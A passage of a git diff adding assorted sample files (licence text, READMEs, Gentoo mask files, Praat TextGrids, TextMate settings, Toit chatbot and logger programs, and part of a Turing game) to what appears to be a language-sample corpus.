+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
\ No newline at end of file
diff --git a/samples/Text/filenames/README.mysql b/samples/Text/filenames/README.mysql
new file mode 100644
index 0000000000..2bdc9aa4a6
--- /dev/null
+++ b/samples/Text/filenames/README.mysql
@@ -0,0 +1,24 @@
+README for users interested in using MySQL as a triplestore backend
+===================================================================
+
+The KiWi Triple Store used by Apache Marmotta supports different database
+backends, including H2, PostgreSQL and MySQL. However, for legal reasons,
+we are not allowed to distribute the MySQL connector library together with
+the Apache Marmotta source code or binaries, as it is licensed under GPL
+license.
+
+Nonetheless, it is possible to use MySQL by downloading and installing the
+connector manually:
+    1.  download and unpack the MySQL Connector/J from
+        http://dev.mysql.com/downloads/connector/j/
+    2.  copy the mysql-connector-java-5.x.x.jar file to
+        a. the library directory of the application server
+           (e.g. $TOMCAT_HOME/lib)
+        -- OR --
+        b. the library directory of the Apache Marmotta Web application
+           (e.g. $TOMCAT_HOME/webapps/marmotta/WEB-INF/lib)
+    3.  restart the application server
+
+Apache Marmotta will then automatically be able to use the MySQL connector
+to connect to a MySQL database. Please note that Marmotta requires at least
+MySQL 5.x, because it makes use of nested queries and foreign keys.
\ No newline at end of file
diff --git a/samples/Text/filenames/README.nss b/samples/Text/filenames/README.nss
new file mode 100644
index 0000000000..58ad213a0a
--- /dev/null
+++ b/samples/Text/filenames/README.nss
@@ -0,0 +1,18 @@
+zlib data compression library
+
+URL: http://zlib.net/
+Version: 1.2.5
+License: zlib License
+License File: http://zlib.net/zlib_license.html
+
+Description:
+
+NSS uses zlib in libSSL (for the DEFLATE compression method), modutil, and
+signtool.
+
+Local Modifications:
+
+- patches/prune-zlib.sh: run this shell script to remove unneeded files
+  from the zlib distribution.
+- patches/msvc-vsnprintf.patch: define HAVE_VSNPRINTF for Visual C++ 2008
+  (9.0) and later.
diff --git a/samples/Text/filenames/package.mask b/samples/Text/filenames/package.mask
new file mode 100644
index 0000000000..4f454b21b3
--- /dev/null
+++ b/samples/Text/filenames/package.mask
@@ -0,0 +1,27 @@
+#
+# @copyright 2008-2019 Krizalys. All rights reserved.
+# @link      http://www.krizalys.com/
+#
+
+# See:
+# $ man 5 ebuild
+
+sys-apps/sed
+sys-libs/zlib
+net-misc/dhcp
+sys-apps/sed-4.0.5
+sys-libs/zlib-1.1.4-r1
+net-misc/dhcp-3.0_p2
+>media-libs/libgd-1.6
+>=media-libs/libgd-1.6
+=media-libs/libgd-1.6
+<=media-libs/libgd-1.6
+<media-libs/libgd-1.6
+
+# See:
+# $ man portage
+
+# mask out versions 1.0.4496 of the nvidia
+# drivers and later
+>=media-video/nvidia-kernel-1.0.4496
+>=media-video/nvidia-glx-1.0.4496
diff --git a/samples/Text/filenames/package.use.mask b/samples/Text/filenames/package.use.mask
new file mode 100644
index 0000000000..46d820a41c
--- /dev/null
+++ b/samples/Text/filenames/package.use.mask
@@ -0,0 +1,53 @@
+#
+# @copyright 2008-2015 Krizalys. All rights reserved.
+# @link      http://www.krizalys.com/
+#
+
+# See:
+# $ man 5 ebuild
+
+sys-apps/sed enable -disable
+sys-libs/zlib enable -disable
+net-misc/dhcp enable -disable
+sys-apps/sed-4.0.5 enable -disable
+sys-libs/zlib-1.1.4-r1 enable -disable
+net-misc/dhcp-3.0_p2 enable -disable
+>media-libs/libgd-1.6 enable -disable
+>=media-libs/libgd-1.6 enable -disable
+=media-libs/libgd-1.6 enable -disable
+<=media-libs/libgd-1.6 enable -disable
+<media-libs/libgd-1.6 enable -disable
+
+# See:
+# $ man portage
+
+# match sed from the 'gentoo' repository
+sys-apps/sed::gentoo enable -disable
+# match kdelibs from the 'kde-testing' repository
+kde-base/kdelibs::kde-testing enable -disable
+# match empathy from the 'gnome' repository
+net-im/empathy::gnome enable -disable
+# match anything with a version containing 9999, which can be used in
+# package.mask to prevent emerge --autounmask from selecting live ebuilds
+=*/*-*9999* enable -disable
+# match anything with a version containing _beta
+=*/*-*_beta* enable -disable
+# match anything from the 'sys-apps' category
+sys-apps/* enable -disable
+# match packages named 'zlib' from any category
+*/zlib enable -disable
+# match any package from a category that begins with 'net-'
+net-*/* enable -disable
+# match any package name from any category
+*/* enable -disable
+# match any package from the 'gentoo' repository
+*/*::gentoo enable -disable
+# force docs for GTK 2.x
+=x11-libs/gtk+-2* doc
+# unforce mysql support for QT
+x11-libs/qt -mysql
+
+# Other tests
+
+# slotting
+cat-subcat/package-1.2.3:slot/slot-4.5.6::overlay enable -disable
diff --git a/samples/Text/filenames/package.use.stable.mask b/samples/Text/filenames/package.use.stable.mask
new file mode 100644
index 0000000000..46d820a41c
--- /dev/null
+++ b/samples/Text/filenames/package.use.stable.mask
@@ -0,0 +1,53 @@
+#
+# @copyright 2008-2015 Krizalys. All rights reserved.
+# @link      http://www.krizalys.com/
+#
+
+# See:
+# $ man 5 ebuild
+
+sys-apps/sed enable -disable
+sys-libs/zlib enable -disable
+net-misc/dhcp enable -disable
+sys-apps/sed-4.0.5 enable -disable
+sys-libs/zlib-1.1.4-r1 enable -disable
+net-misc/dhcp-3.0_p2 enable -disable
+>media-libs/libgd-1.6 enable -disable
+>=media-libs/libgd-1.6 enable -disable
+=media-libs/libgd-1.6 enable -disable
+<=media-libs/libgd-1.6 enable -disable
+<media-libs/libgd-1.6 enable -disable
+
+# See:
+# $ man portage
+
+# match sed from the 'gentoo' repository
+sys-apps/sed::gentoo enable -disable
+# match kdelibs from the 'kde-testing' repository
+kde-base/kdelibs::kde-testing enable -disable
+# match empathy from the 'gnome' repository
+net-im/empathy::gnome enable -disable
+# match anything with a version containing 9999, which can be used in
+# package.mask to prevent emerge --autounmask from selecting live ebuilds
+=*/*-*9999* enable -disable
+# match anything with a version containing _beta
+=*/*-*_beta* enable -disable
+# match anything from the 'sys-apps' category
+sys-apps/* enable -disable
+# match packages named 'zlib' from any category
+*/zlib enable -disable
+# match any package from a category that begins with 'net-'
+net-*/* enable -disable
+# match any package name from any category
+*/* enable -disable
+# match any package from the 'gentoo' repository
+*/*::gentoo enable -disable
+# force docs for GTK 2.x
+=x11-libs/gtk+-2* doc
+# unforce mysql support for QT
+x11-libs/qt -mysql
+
+# Other tests
+
+# slotting
+cat-subcat/package-1.2.3:slot/slot-4.5.6::overlay enable -disable
diff --git a/samples/Text/filenames/use.mask b/samples/Text/filenames/use.mask
new file mode 100644
index 0000000000..1bbc95b216
--- /dev/null
+++ b/samples/Text/filenames/use.mask
@@ -0,0 +1,12 @@
+#
+# @copyright 2008-2015 Krizalys. All rights reserved.
+# @link      http://www.krizalys.com/
+#
+
+# See:
+# $ man portage
+
+# mask doc
+doc
+# unmask mysql
+-mysql
diff --git a/samples/Text/filenames/use.stable.mask b/samples/Text/filenames/use.stable.mask
new file mode 100644
index 0000000000..1bbc95b216
--- /dev/null
+++ b/samples/Text/filenames/use.stable.mask
@@ -0,0 +1,12 @@
+#
+# @copyright 2008-2015 Krizalys. All rights reserved.
+# @link      http://www.krizalys.com/
+#
+
+# See:
+# $ man portage
+
+# mask doc
+doc
+# unmask mysql
+-mysql
diff --git a/samples/TextGrid/part_of_speech.TextGrid b/samples/TextGrid/part_of_speech.TextGrid
new file mode 100644
index 0000000000..f1c149f019
--- /dev/null
+++ b/samples/TextGrid/part_of_speech.TextGrid
@@ -0,0 +1,62 @@
+File type = "ooTextFile"
+Object class = "TextGrid"
+
+xmin = 0
+xmax = 9.1
+tiers? <exists>
+size = 1
+item []:
+    item [1]:
+        class = "IntervalTier"
+        name = "TestTier"
+        xmin = 0
+        xmax = 9.1
+        intervals: size = 6
+        intervals [1]:
+            xmin = 0
+            xmax = 3.4
+            text = "a_DT"
+        intervals [2]:
+            xmin = 3.4
+            xmax = 5.2
+            text = "a_DT"
+        intervals [3]:
+            xmin = 5.2
+            xmax = 5.4
+            text = "aal_JJ"
+        intervals [4]:
+            xmin = 5.4
+            xmax = 5.88
+            text = "a_DT"
+        intervals [5]:
+            xmin = 5.88
+            xmax = 6.2
+            text = "uhm_IN"
+        intervals [6]:
+            xmin = 6.2
+            xmax = 7.1
+            text = "aal_JJ"
+        intervals [7]:
+            xmin = 7.1
+            xmax = 8.2
+            text = ""
+        intervals [8]:
+            xmin = 8.2
+            xmax = 8.3
+            text = "aal_JJ"
+        intervals [9]:
+            xmin = 8.3
+            xmax = 8.5
+            text = "some_JJ"
+        intervals [10]:
+            xmin = 8.5
+            xmax = 8.8
+            text = "some_WP$"
+        intervals [11]:
+            xmin = 8.8
+            xmax = 8.9
+            text = "a_DT"
+        intervals [12]:
+            xmin = 8.9
+            xmax = 9.1
+            text = "aal_JJ"
diff --git a/samples/TextGrid/three_tiers.TextGrid b/samples/TextGrid/three_tiers.TextGrid
new file mode 100644
index 0000000000..668203f472
--- /dev/null
+++ b/samples/TextGrid/three_tiers.TextGrid
@@ -0,0 +1,62 @@
+File type = "ooTextFile"
+Object class = "TextGrid"
+
+xmin = 0
+xmax = 1
+tiers? <exists>
+size = 3
+item []:
+    item [1]:
+        class = "IntervalTier"
+        name = "First"
+        xmin = 0
+        xmax = 1
+        intervals: size = 3
+        intervals [1]:
+            xmin = 0
+            xmax = 0.06588581304037375
+            text = "One"
+        intervals [2]:
+            xmin = 0.06588581304037375
+            xmax = 0.2342878321396945
+            text = "Two"
+        intervals [3]:
+            xmin = 0.2342878321396945
+            xmax = 1
+            text = "Three"
+    item [2]:
+        class = "IntervalTier"
+        name = "Second"
+        xmin = 0
+        xmax = 1
+        intervals: size = 3
+        intervals [1]:
+            xmin = 0
+            xmax = 0.19395201918177338
+            text = "One"
+        intervals [2]:
+            xmin = 0.19395201918177338
+            xmax = 0.3341189692105493
+            text = "Two"
+        intervals [3]:
+            xmin = 0.3341189692105493
+            xmax = 1
+            text = "Three"
+    item [3]:
+        class = "IntervalTier"
+        name = "Third"
+        xmin = 0
+        xmax = 1
+        intervals: size = 3
+        intervals [1]:
+            xmin = 0
+            xmax = 0.4117654091545475
+            text = "One"
+        intervals [2]:
+            xmin = 0.4117654091545475
+            xmax = 0.5186553134930385
+            text = "Two"
+        intervals [3]:
+            xmin = 0.5186553134930385
+            xmax = 1
+            text = "Three"
diff --git a/samples/TextGrid/words.TextGrid b/samples/TextGrid/words.TextGrid
new file mode 100644
index 0000000000..90a951893f
--- /dev/null
+++ b/samples/TextGrid/words.TextGrid
@@ -0,0 +1,46 @@
+File type = "ooTextFile"
+Object class = "TextGrid"
+
+xmin = 0 
+xmax = 7.2 
+tiers? <exists> 
+size = 1 
+item []: 
+    item [1]:
+        class = "IntervalTier" 
+        name = "TestTier" 
+        xmin = 0 
+        xmax = 7.2
+        intervals: size = 6 
+        intervals [1]:
+            xmin = 0 
+            xmax = 3.4 
+            text = "a" 
+        intervals [2]:
+            xmin = 3.4 
+            xmax = 5.2 
+            text = "A" 
+        intervals [3]:
+            xmin = 5.2 
+            xmax = 5.4 
+            text = "aal  " 
+        intervals [4]:
+            xmin = 5.4 
+            xmax = 5.6 
+            text = "" 
+        intervals [5]:
+            xmin = 5.6 
+            xmax = 5.88 
+            text = "aardvark" 
+        intervals [6]:
+            xmin = 5.88 
+            xmax = 6.2 
+            text = "uhm" 
+        intervals [7]:
+            xmin = 6.2 
+            xmax = 7.1 
+            text = "isn't" 
+        intervals [8]:
+            xmin = 7.1 
+            xmax = 7.2 
+            text = "BLEEH"     
diff --git a/samples/TextMate Properties/filenames/.tm_properties b/samples/TextMate Properties/filenames/.tm_properties
new file mode 100644
index 0000000000..224fb2d29b
--- /dev/null
+++ b/samples/TextMate Properties/filenames/.tm_properties	
@@ -0,0 +1,44 @@
+# Settings
+windowTitleProject   = '${projectDirectory:+ — ${projectDirectory/^.*\///}}'
+windowTitleFramework = '${TM_DIRECTORY/.*\/Frameworks\/([^\/]+)\/.*|.*/${1:+ ($1)}/}'
+windowTitle          = '$TM_DISPLAYNAME$windowTitleFramework$windowTitleProject$windowTitleSCM'
+
+excludeDirectoriesInFileChooser  = '{bin/CxxTest,build,SyntaxMate.tmBundle}'
+excludeDirectoriesInFolderSearch = '{bin/CxxTest,build,SyntaxMate.tmBundle}'
+
+# Variables
+TM_ORGANIZATION_NAME = 'MacroMates'
+
+TM_TODO_IGNORE       = '/(build|CxxTest|PlugIns|vendor)/|\.(md|html)$'
+TM_BUILD_DIR         = '${builddir:-$HOME/build/${CWD/.*\///}}'
+TM_FRAMEWORKS        = 'authorization buffer BundleEditor BundleEditor BundleMenu bundles BundlesManager cf command CommitWindow crash CrashReporter document DocumentWindow editor encoding file FileBrowser Find HTMLOutput HTMLOutputWindow io layout license MenuBuilder network ns OakAppKit OakCommand OakDebug OakFilterList OakFoundation OakSystem OakTabBarView OakTextView parse plist Preferences regexp scm scope selection settings SoftwareUpdate text theme undo updater version'
+TM_FRAMEWORK_INCLUDE = '${TM_FRAMEWORKS/\w+/-I"${TM_BUILD_DIR}\/release\/_Include\/$0\/include"/g}'
+TM_CXX_FLAGS         = '$TM_CXX_FLAGS    -I"$CWD/Shared/include" ${TM_FRAMEWORK_INCLUDE}'
+TM_OBJCXX_FLAGS      = '$TM_OBJCXX_FLAGS -I"$CWD/Shared/include" ${TM_FRAMEWORK_INCLUDE}'
+
+TM_NINJA_FILE        = '${CWD}/build.ninja'
+TM_NINJA_TARGET      = 'TextMate/run'
+
+TM_ISSUE_URL         = 'https://github.com/textmate/textmate/issues/%s'
+
+[ 'source.c++, source.objc++' ]
+tabSize          = 3
+softTabs         = false
+TM_C_POINTER     = "* "
+
+[ *.h ]
+fileType         = 'source.objc++'
+
+[ attr.untitled ]
+fileType         = 'source.objc++'
+
+[ Applications/**~mate/** ]
+TM_NINJA_TARGET = '${TM_DIRECTORY/^.*\/Applications\/([^\/]+)(\/.*)?$/$1\/run/}'
+
+[ tests/t_*.{cc,mm} ]
+scopeAttributes  = 'attr.test.cxxtest'
+TM_NINJA_TARGET  = '${TM_FILEPATH/^.*?([^\/]*)\/tests\/.*$/$1\/test/}'
+
+[ tests/gui_*.mm ]
+GUI_TESTS        = '${TM_FILENAME/^gui_(.*)\.mm$/$1/}'
+TM_NINJA_TARGET  = '${TM_FILEPATH/^.*?([^\/]*)\/tests\/.*$/$1\/cxx_test/}'
diff --git a/samples/Toit/chatbot.toit b/samples/Toit/chatbot.toit
new file mode 100644
index 0000000000..f7f43148cd
--- /dev/null
+++ b/samples/Toit/chatbot.toit
@@ -0,0 +1,177 @@
+// Copyright (C) 2023 Florian Loitsch
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+
+// The above copyright notice and this permission notice shall be included in all
+// copies or substantial portions of the Software.
+
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+import openai
+
+/**
+If there is a gap of more than MAX_GAP between messages, we clear the
+conversation.
+*/
+MAX_GAP ::= Duration --m=3
+/** The maximum number of messages we keep in memory for each chat. */
+MAX_MESSAGES ::= 20
+
+class TimestampedMessage:
+  text/string
+  timestamp/Time
+  is_from_assistant/bool
+
+  constructor --.text --.timestamp --.is_from_assistant:
+
+/**
+A base class for a chat bot.
+
+In addition to implementing the abstract methods $my_name_, $send_message_,
+  subclasses must periodically call $clear_old_messages_. Ideally, this
+  should happen whenever a new event is received from the server.
+
+Typically, a `run` function proceeds in three steps:
+```
+run:
+  while true:
+    message := get_new_message  // From the chat server.
+    clear_old_messages_         // Call to this bot.
+    store_message_ message.text --chat_id=message.chat_id
+    if should_respond:  // This might depend on the message or client.
+      request_response_ message.chat_id
+```
+
+The chat_id is only necessary for bots that can be in multiple channels.
+It's safe to use 0 if the bot doesn't need to keep track of multiple chats.
+
+Once the bot receives a response it calls $send_message_.
+*/
+abstract class ChatBot:
+  // The client is created lazily, to avoid memory pressure during startup.
+  openai_client_/openai.Client? := null
+  openai_key_/string? := ?
+
+  // Maps from chat-id to deque.
+  // Only authenticated chat-ids are in this map.
+  all_messages_/Map := {:}
+
+  /**
+  Creates a new instance of the bot.
+
+  The $max_gap parameter is used to determine if a chat has moved on to
+    a new topic (which leads to a new conversation for the AI bot).
+
+  The $max_messages parameter is used to determine how many messages
+    are kept in memory for each chat.
+  */
+  constructor
+      --openai_key/string
+      --max_gap/Duration=MAX_GAP
+      --max_messages/int=MAX_MESSAGES:
+    openai_key_ = openai_key
+
+  close:
+    if openai_client_:
+      openai_client_.close
+      openai_client_ = null
+      openai_key_ = null
+
+  /** The name of the bot. Sent as a system message. */
+  abstract my_name_ -> string
+
+  /** Sends a message to the given $chat_id. */
+  abstract send_message_ text/string --chat_id/any
+
+  /** Returns the messages for the given $chat_id. */
+  messages_for_ chat_id/any -> Deque:
+    return all_messages_.get chat_id --init=: Deque
+
+  /**
+  Drops old messages from all watched chats.
+  Uses the $MAX_GAP constant to determine if a chat has moved on to
+    a new topic (which leads to a new conversation for the AI bot).
+  */
+  clear_old_messages_:
+    now := Time.now
+    all_messages_.do: | chat_id/any messages/Deque |
+      if messages.is_empty: continue.do
+      last_message := messages.last
+      if (last_message.timestamp.to now) > MAX_GAP:
+        print "Clearing $chat_id"
+        messages.clear
+
+  /**
+  Builds an OpenAI conversation for the given $chat_id.
+
+  Returns a list of $openai.ChatMessage objects.
+  */
+  build_conversation_ chat_id/any -> List:
+    result := [
+      openai.ChatMessage.system "You are contributing to chat of potentially multiple people. Your name is '$my_name_'. Be short.",
+    ]
+    messages := messages_for_ chat_id
+    messages.do: | timestamped_message/TimestampedMessage |
+      if timestamped_message.is_from_assistant:
+        result.add (openai.ChatMessage.assistant timestamped_message.text)
+      else:
+        // We are not combining multiple messages from the user.
+        // Typically, the chat is a back and forth between the user and
+        // the assistant. For memory reasons we prefer to make individual
+        // messages.
+        result.add (openai.ChatMessage.user timestamped_message.text)
+    return result
+
+  /** Stores the $response that the assistant produced in the chat. */
+  store_assistant_response_ response/string --chat_id/any:
+    messages := messages_for_ chat_id
+    messages.add (TimestampedMessage
+      --text=response
+      --timestamp=Time.now
+      --is_from_assistant)
+
+  /**
+  Stores a user-provided $text in the list of messages for the
+    given $chat_id.
+  The $text should contain the name of the author.
+  */
+  store_message_ text/string --chat_id/any --timestamp/Time=Time.now -> none:
+    messages := messages_for_ chat_id
+    // Drop messages if we have too many of them.
+    if messages.size >= MAX_MESSAGES:
+        messages.remove_first
+
+    new_timestamped_message := TimestampedMessage
+        // We store the user with the message.
+        // This is mainly so we don't need to create a new string
+        // when we create the conversation.
+        --text=text
+        --timestamp=timestamp
+        --is_from_assistant=false
+    messages.add new_timestamped_message
+
+  /**
+  Sends a response to the given $chat_id.
+  */
+  send_response_ chat_id/any:
+    if not openai_client_:
+      if not openai_key_: throw "Closed"
+      openai_client_ = openai.Client --key=openai_key_
+
+    conversation := build_conversation_ chat_id
+    response := openai_client_.complete_chat
+        --conversation=conversation
+        --max_tokens=300
+    store_assistant_response_ response --chat_id=chat_id
+    send_message_ response --chat_id=chat_id
diff --git a/samples/Toit/logger.toit b/samples/Toit/logger.toit
new file mode 100644
index 0000000000..70261c7bb5
--- /dev/null
+++ b/samples/Toit/logger.toit
@@ -0,0 +1,150 @@
+// Copyright (C) 2023 Florian Loitsch
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+
+// The above copyright notice and this permission notice shall be included in all
+// copies or substantial portions of the Software.
+
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+import certificate_roots
+import gpio
+import monitor
+import uart
+import supabase
+
+// After 5s offload the data. Even if the device is not quiet.
+MAX_OFFLOAD_DELAY ::= Duration --s=5
+// Offload if we accumulate more than 2kb of data.
+MAX_BUFFERED_DATA ::= 2000
+// Offload if we have not received any data for 500ms.
+MAX_QUIET_FOR_OFFLOAD ::= Duration --ms=500
+
+LOGS_TABLE ::= "logs"
+
+class LogForwarder:
+  pin_/gpio.Pin
+  port_/uart.Port
+  buffered_/List := [] // Of ByteArray.
+  buffered_size_/int := 0
+  offload_task_/Task? := null
+  upload_/Lambda
+
+  constructor pin_number/int --upload/Lambda:
+    pin_ = gpio.Pin pin_number
+    port_ = uart.Port --rx=pin_ --tx=null --baud_rate=115200
+    upload_ = upload
+    offload_task_ = task::
+      offload_
+
+  close:
+    if offload_task_:
+      offload_task_.cancel
+      port_.close
+      pin_.close
+      offload_task_ = null
+
+  listen:
+    while true:
+      chunk := port_.read
+      buffer_ chunk
+
+  buffer_ data/ByteArray:
+    print "Received $data.to_string_non_throwing"
+    buffered_.add data
+    buffered_size_ += data.size
+    if buffered_size_ > MAX_BUFFERED_DATA:
+      offload_
+
+  offload_:
+    last_offload := Time.now
+    while true:
+      last_message := Time.now
+      old_size := buffered_size_
+      while (Duration.since last_message) < MAX_QUIET_FOR_OFFLOAD:
+        sleep --ms=20
+
+        if buffered_size_ == 0:
+          // Reset the timer.
+          last_offload = Time.now
+          last_message = last_offload
+          continue
+
+        if (Duration.since last_offload) > MAX_OFFLOAD_DELAY:
+          break
+
+        if buffered_size_ == old_size:
+          continue
+
+        if buffered_size_ > MAX_BUFFERED_DATA:
+          print "too much data"
+          break
+
+        last_message = Time.now
+        old_size = buffered_size_
+
+      print "Offloading"
+      total := ByteArray buffered_size_
+      offset := 0
+      buffered_.do:
+        total.replace offset it
+        offset += it.size
+      to_upload := total.to_string_non_throwing
+      buffered_.clear
+      buffered_size_ = 0
+      print "Uploading: $to_upload"
+      upload_.call to_upload
+
+main
+    --supabase_project/string
+    --supabase_anon/string
+    --device_id/string
+    --pin_rx1/int
+    --pin_rx2/int?:
+
+  client/supabase.Client? := null
+  forwarder1/LogForwarder? := null
+  forwarder2/LogForwarder? := null
+
+  while true:
+    // Trying to work around https://github.com/toitlang/pkg-http/issues/89
+    catch --trace:
+      client = supabase.Client.tls
+          --host="$(supabase_project).supabase.co"
+          --anon=supabase_anon
+          --root_certificates=[certificate_roots.BALTIMORE_CYBERTRUST_ROOT]
+
+      mutex := monitor.Mutex
+
+      offload := :: | uart_pin/int data/string |
+        mutex.do:
+          client.rest.insert --no-return_inserted LOGS_TABLE {
+            "device_id": device_id,
+            "uart_pin": uart_pin,
+            "data": data,
+          }
+
+      if pin_rx2:
+        task::
+          forwarder2 = LogForwarder pin_rx2 --upload=:: | data/string |
+            offload.call pin_rx2 data
+          forwarder2.listen
+
+      forwarder1 = LogForwarder pin_rx1 --upload=:: | data/string |
+        offload.call pin_rx1 data
+      forwarder1.listen
+
+    if forwarder1: forwarder1.close
+    if forwarder2: forwarder2.close
+    if client: client.close
diff --git a/samples/Toit/one_wire.toit b/samples/Toit/one_wire.toit
new file mode 100644
index 0000000000..2c5521af05
--- /dev/null
+++ b/samples/Toit/one_wire.toit
@@ -0,0 +1,39 @@
+// Copyright (C) 2023 Toitware ApS
+//
+// Permission to use, copy, modify, and/or distribute this software for any
+// purpose with or without fee is hereby granted.
+//
+// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+// REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+// INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+// LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+// OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+// PERFORMANCE OF THIS SOFTWARE.
+
+import gpio
+import one_wire
+import one_wire.family as one_wire
+
+DATA_PIN ::= 32
+
+main:
+  bus := one_wire.Bus (gpio.Pin 32)
+  print "Listing all devices on bus:"
+  bus.do:
+    family_id := one_wire.family_id --device_id=it
+    print "  $(%x it): $(one_wire.family_to_string family_id)"
+
+  print "Listing only ds18b20 devices on bus:"
+  // Only list ds18b20 devices.
+  bus.do --family=one_wire.FAMILY_DS18B20:
+    print "  $(%x it)"
+
+  print "Demonstrating how to skip families."
+  // Skip families.
+  bus.do:
+    family_id := one_wire.family_id --device_id=it
+    print "  Got called with id: $(%x it) - $(one_wire.family_to_string family_id)"
+    if family_id == one_wire.FAMILY_DS18B20:
+      print "    Skipping remaining devices of this family."
+      continue.do one_wire.Bus.SKIP_FAMILY
diff --git a/samples/Turing/BlockTower.t b/samples/Turing/BlockTower.t
new file mode 100644
index 0000000000..8514e33313
--- /dev/null
+++ b/samples/Turing/BlockTower.t
@@ -0,0 +1,396 @@
+View.Set ("graphics:300;600,offscreenonly,nobuttonbar")
+
+class block
+    export var x, var y, var vSpd, var hSpd, var size, var clr, var falling, draw, move
+
+    var x, y, vSpd, hSpd : real
+    var size, clr : int
+    var falling : boolean
+
+    procedure move
+	x += hSpd
+	y += vSpd
+    end move
+
+    procedure draw
+
+	Draw.FillBox (round (x) - size div 2, round (y) - size div 2, round (x) + size div 2, round (y) + size div 2, clr)
+    end draw
+end block
+
+var blocks : flexible array 1 .. 0 of pointer to block
+const gravity := 0.5
+const rangeLow := maxx div 5
+const rangeHigh := maxx div 5 * 4
+var lvl, score : int
+var clawX, clawY, spd : real
+clawX := maxx div 2
+clawY := maxy div 2
+spd := 2
+lvl := 1
+score := 0
+
+type pointsplash :
+    record
+	lvl : int
+	aim : int
+	duration : int
+	block : int
+    end record
+
+var splash : flexible array 1 .. 0 of pointsplash
+
+procedure createBlock
+    new blocks, upper (blocks) + 1
+    new block, blocks (upper (blocks))
+    blocks (upper (blocks)) -> x := clawX
+    blocks (upper (blocks)) -> y := clawY
+    blocks (upper (blocks)) -> vSpd := 0
+    blocks (upper (blocks)) -> hSpd := spd
+    blocks (upper (blocks)) -> size := 31 - lvl
+    blocks (upper (blocks)) -> clr := black
+    blocks (upper (blocks)) -> falling := false
+end createBlock
+
+%-------------------------------movement----------------------------
+
+var highest : int := 0
+var ground : int := 5
+procedure scrollUp
+    const scrollSpd := 2
+    for i : 1 .. upper (blocks)
+	blocks (i) -> y -= scrollSpd
+    end for
+    ground -= scrollSpd
+    highest -= scrollSpd
+end scrollUp
+
+procedure moveClaw
+    if clawX <= rangeLow then
+	clawX := rangeLow
+	spd *= -1
+    elsif clawX >= rangeHigh then
+	clawX := rangeHigh
+	spd *= -1
+    end if
+    if clawY > maxy div 3 * 2 then
+	scrollUp
+    end if
+    clawX += spd
+    clawY := highest + 100 + 2 * lvl
+    blocks (upper (blocks)) -> x := clawX
+    blocks (upper (blocks)) -> y := clawY
+    blocks (upper (blocks)) -> hSpd := spd
+end moveClaw
+
+procedure moveBlocks
+    for i : 1 .. upper (blocks)
+	if blocks (i) -> falling then
+	    blocks (i) -> vSpd -= gravity
+	end if
+	blocks (i) -> move
+    end for
+end moveBlocks
+
+procedure checkHeight (i : int)
+    if round (blocks (i) -> y) > highest then
+	highest := round (blocks (i) -> y)
+    end if
+end checkHeight
+
+var aim : real := 0
+var total, dif : int := 0
+function aimBonus (i, j : int) : int
+    total := blocks (i) -> size div 2 + blocks (j) -> size div 2
+    dif := abs (round (blocks (i) -> x - blocks (j) -> x))
+    if total >= dif then
+	aim := ((total - dif) / total) * 10
+    else
+	aim := 0
+    end if
+    result round (aim)
+end aimBonus
+
+const splashTime := 1500
+procedure stopBlock (i, j : int)
+    blocks (i) -> falling := false
+    blocks (i) -> y := blocks (j) -> y + blocks (i) -> size div 2 + blocks (j) -> size div 2
+    blocks (i) -> vSpd := 0
+    blocks (i) -> hSpd := 0
+    checkHeight (i)
+    score += lvl + aimBonus (i, j)
+    new splash, upper (splash) + 1
+    splash (upper (splash)).lvl := lvl
+    splash (upper (splash)).aim := aimBonus (i, j)
+    splash (upper (splash)).duration := splashTime
